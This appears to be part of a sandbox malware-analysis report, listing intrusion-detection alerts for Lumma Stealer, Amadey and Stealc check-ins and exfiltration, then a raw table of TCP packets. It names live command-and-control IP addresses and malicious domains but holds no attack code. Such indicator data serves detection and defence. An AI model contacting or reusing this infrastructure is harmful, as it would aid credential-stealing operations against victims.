2024-10-30T21:56:19.091673+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50233	185.215.113.16	80	TCP
2024-10-30T21:56:19.884478+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50234	188.114.96.3	443	TCP
2024-10-30T21:56:20.350372+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50234	188.114.96.3	443	TCP
2024-10-30T21:56:20.350372+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50234	188.114.96.3	443	TCP
2024-10-30T21:56:21.308957+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50235	188.114.96.3	443	TCP
2024-10-30T21:56:22.672250+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50236	188.114.96.3	443	TCP
2024-10-30T21:56:24.128664+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50237	188.114.96.3	443	TCP
2024-10-30T21:56:26.900613+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50238	188.114.96.3	443	TCP
2024-10-30T21:56:27.430263+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50238	188.114.96.3	443	TCP
2024-10-30T21:56:27.564015+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50239	185.215.113.43	80	TCP
2024-10-30T21:56:27.888749+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50240	185.215.113.206	80	TCP
2024-10-30T21:56:28.554237+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50241	185.215.113.16	80	TCP
2024-10-30T21:56:29.180064+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50242	188.114.96.3	443	TCP
2024-10-30T21:56:29.183887+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50242	188.114.96.3	443	TCP
2024-10-30T21:56:29.283393+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	65441	1.1.1.1	53	UDP
2024-10-30T21:56:29.298746+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	63390	1.1.1.1	53	UDP
2024-10-30T21:56:29.314005+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	60704	1.1.1.1	53	UDP
2024-10-30T21:56:29.330782+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	64757	1.1.1.1	53	UDP
2024-10-30T21:56:30.173383+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50243	188.114.96.3	443	TCP
2024-10-30T21:56:30.883132+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50243	188.114.96.3	443	TCP
2024-10-30T21:56:30.883132+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50243	188.114.96.3	443	TCP
2024-10-30T21:56:31.653187+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50244	188.114.96.3	443	TCP
2024-10-30T21:56:32.112743+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50244	188.114.96.3	443	TCP
2024-10-30T21:56:32.112743+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50244	188.114.96.3	443	TCP
2024-10-30T21:56:32.369210+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50245	188.114.96.3	443	TCP
2024-10-30T21:56:33.171724+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50246	188.114.96.3	443	TCP
2024-10-30T21:56:34.293372+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50245	188.114.96.3	443	TCP
2024-10-30T21:56:35.423732+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50247	185.215.113.16	80	TCP
2024-10-30T21:56:35.425071+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50248	185.215.113.43	80	TCP
2024-10-30T21:56:35.562284+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50249	188.114.96.3	443	TCP
2024-10-30T21:56:36.363869+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50250	185.215.113.16	80	TCP
2024-10-30T21:56:36.363869+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50250	185.215.113.16	80	TCP
2024-10-30T21:56:37.247394+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50253	188.114.96.3	443	TCP
2024-10-30T21:56:39.571888+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	63515	1.1.1.1	53	UDP
2024-10-30T21:56:39.586588+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	61354	1.1.1.1	53	UDP
2024-10-30T21:56:39.606940+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	53046	1.1.1.1	53	UDP
2024-10-30T21:56:39.628101+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	57616	1.1.1.1	53	UDP
2024-10-30T21:56:39.920035+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50258	188.114.96.3	443	TCP
2024-10-30T21:56:40.274582+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50259	188.114.96.3	443	TCP
2024-10-30T21:56:40.825448+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50259	188.114.96.3	443	TCP
2024-10-30T21:56:40.825448+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50259	188.114.96.3	443	TCP
2024-10-30T21:56:41.724592+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50262	188.114.96.3	443	TCP
2024-10-30T21:56:41.845267+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50261	185.215.113.206	80	TCP
2024-10-30T21:56:42.215002+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50262	188.114.96.3	443	TCP
2024-10-30T21:56:42.215002+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50262	188.114.96.3	443	TCP
2024-10-30T21:56:42.594993+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50264	188.114.96.3	443	TCP
2024-10-30T21:56:43.076390+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50264	188.114.96.3	443	TCP
2024-10-30T21:56:43.401911+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50266	185.215.113.43	80	TCP
2024-10-30T21:56:44.648833+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50271	188.114.96.3	443	TCP
2024-10-30T21:56:45.213849+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50272	188.114.96.3	443	TCP
2024-10-30T21:56:45.990163+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50271	188.114.96.3	443	TCP
2024-10-30T21:56:46.962026+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50278	185.215.113.16	80	TCP
2024-10-30T21:56:49.767554+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50282	188.114.96.3	443	TCP
2024-10-30T21:56:52.509332+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50290	188.114.96.3	443	TCP
2024-10-30T21:56:53.845384+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50291	185.215.113.206	80	TCP
2024-10-30T21:56:56.877572+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50294	188.114.96.3	443	TCP
2024-10-30T21:56:59.372512+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50296	188.114.96.3	443	TCP
2024-10-30T21:56:59.381723+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50296	188.114.96.3	443	TCP
2024-10-30T21:56:59.381723+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50296	188.114.96.3	443	TCP
2024-10-30T21:57:02.064463+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50302	188.114.96.3	443	TCP
2024-10-30T21:57:02.586477+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50302	188.114.96.3	443	TCP
2024-10-30T21:57:03.587449+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50306	185.215.113.16	80	TCP
2024-10-30T21:57:04.031321+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50303	185.215.113.206	80	TCP
2024-10-30T21:57:16.973595+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50335	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 21:55:07.325663090 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:07.325715065 CET	443	49704	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:07.325809956 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:07.326965094 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:07.326984882 CET	443	49704	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:07.965487003 CET	443	49704	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:07.965621948 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:07.972039938 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:07.972059011 CET	443	49704	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:07.972337008 CET	443	49704	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:08.016042948 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:08.019365072 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:08.019413948 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:08.019447088 CET	443	49704	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:08.462465048 CET	443	49704	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:08.462552071 CET	443	49704	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:08.462678909 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:08.464464903 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:08.464514971 CET	443	49704	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:08.464530945 CET	49704	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:08.464540005 CET	443	49704	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:08.558208942 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:08.558248997 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:08.558343887 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:08.558645964 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:08.558654070 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.191884041 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.192023039 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.193773985 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.193789005 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.194411039 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.196288109 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.196321964 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.196438074 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.725284100 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.725471973 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.725543022 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.725570917 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.725740910 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.725800037 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.725812912 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.725936890 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.725991964 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.726001978 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.726131916 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.726181984 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.726193905 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.767198086 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.767210007 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.813018084 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.844012022 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.844535112 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.844604015 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.844625950 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.850233078 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.850297928 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.850373983 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.850409985 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:09.850440025 CET	49705	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:09.850455046 CET	443	49705	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:10.059078932 CET	49706	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:10.059122086 CET	443	49706	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:10.059209108 CET	49706	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:10.059670925 CET	49706	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:10.059684992 CET	443	49706	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:10.685514927 CET	443	49706	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:10.685627937 CET	49706	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:10.687231064 CET	49706	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:10.687244892 CET	443	49706	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:10.687578917 CET	443	49706	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:10.691310883 CET	49706	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:10.691639900 CET	49706	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:10.691684008 CET	443	49706	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:11.192255020 CET	443	49706	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:11.192363024 CET	443	49706	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:11.192431927 CET	49706	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:11.192537069 CET	49706	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:11.192565918 CET	443	49706	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:11.344476938 CET	49707	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:11.344527960 CET	443	49707	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:11.344625950 CET	49707	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:11.345082998 CET	49707	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:11.345093966 CET	443	49707	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:11.967302084 CET	443	49707	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:11.967526913 CET	49707	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:11.968888044 CET	49707	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:11.968897104 CET	443	49707	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:11.969228983 CET	443	49707	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:11.970520020 CET	49707	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:11.970633984 CET	49707	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:11.970660925 CET	443	49707	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:11.970731020 CET	49707	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:11.970736980 CET	443	49707	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:12.506808996 CET	443	49707	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:12.507030010 CET	443	49707	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:12.507117033 CET	49707	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:12.541551113 CET	49707	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:12.541587114 CET	443	49707	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:12.853169918 CET	49708	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:12.853223085 CET	443	49708	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:12.853370905 CET	49708	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:12.853790998 CET	49708	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:12.853813887 CET	443	49708	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:13.496391058 CET	443	49708	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:13.496602058 CET	49708	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:13.499306917 CET	49708	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:13.499332905 CET	443	49708	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:13.500034094 CET	443	49708	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:13.501851082 CET	49708	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:13.501975060 CET	49708	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:13.502012968 CET	443	49708	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:13.502087116 CET	49708	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:13.502098083 CET	443	49708	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:14.181058884 CET	443	49708	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:14.181576014 CET	443	49708	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:14.181679964 CET	49708	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:14.182358027 CET	49708	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:14.182382107 CET	443	49708	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:14.415608883 CET	49709	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:14.415638924 CET	443	49709	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:14.415764093 CET	49709	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:14.416033983 CET	49709	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:14.416044950 CET	443	49709	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:15.072973013 CET	443	49709	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:15.073096991 CET	49709	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:15.074382067 CET	49709	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:15.074389935 CET	443	49709	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:15.075428009 CET	443	49709	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:15.077114105 CET	49709	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:15.077218056 CET	49709	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:15.077224016 CET	443	49709	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:15.583992958 CET	443	49709	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:15.584242105 CET	443	49709	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:15.584244013 CET	49709	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:15.584294081 CET	49709	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.096375942 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.096422911 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.096524954 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.096914053 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.096930027 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.720304966 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.720406055 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.732569933 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.732590914 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.733475924 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.735336065 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.736110926 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.736166000 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.736274004 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.736329079 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.736418009 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.736474037 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.736550093 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.736691952 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.736732006 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.736752987 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.736814022 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.736862898 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.736987114 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.737015963 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.737155914 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.737185955 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.737262964 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.737389088 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.737426996 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.737489939 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.737628937 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.737668991 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.737682104 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.750080109 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.750159025 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.750174046 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.750267029 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.750268936 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.750324965 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.750368118 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.750437975 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:16.750463963 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.750576019 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:16.756304026 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:18.378041029 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:18.378262043 CET	443	49710	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:18.378361940 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:18.378611088 CET	49710	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:18.417010069 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:18.417042017 CET	443	49711	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:18.417119026 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:18.417398930 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:18.417421103 CET	443	49711	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:19.049341917 CET	443	49711	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:19.049455881 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:19.050642967 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:19.050651073 CET	443	49711	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:19.050973892 CET	443	49711	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:19.052124023 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:19.052159071 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:19.052197933 CET	443	49711	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:19.508744955 CET	443	49711	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:19.508950949 CET	443	49711	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:19.509145975 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:19.509145975 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:19.509145975 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:19.512514114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:19.518426895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:19.518551111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:19.518620014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:19.524425030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:19.734774113 CET	49711	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:55:19.734787941 CET	443	49711	188.114.96.3	192.168.2.5
Oct 30, 2024 21:55:20.421515942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.421530008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.421607971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.421607971 CET	49712	80	192.168.2.5	185.215.113.16
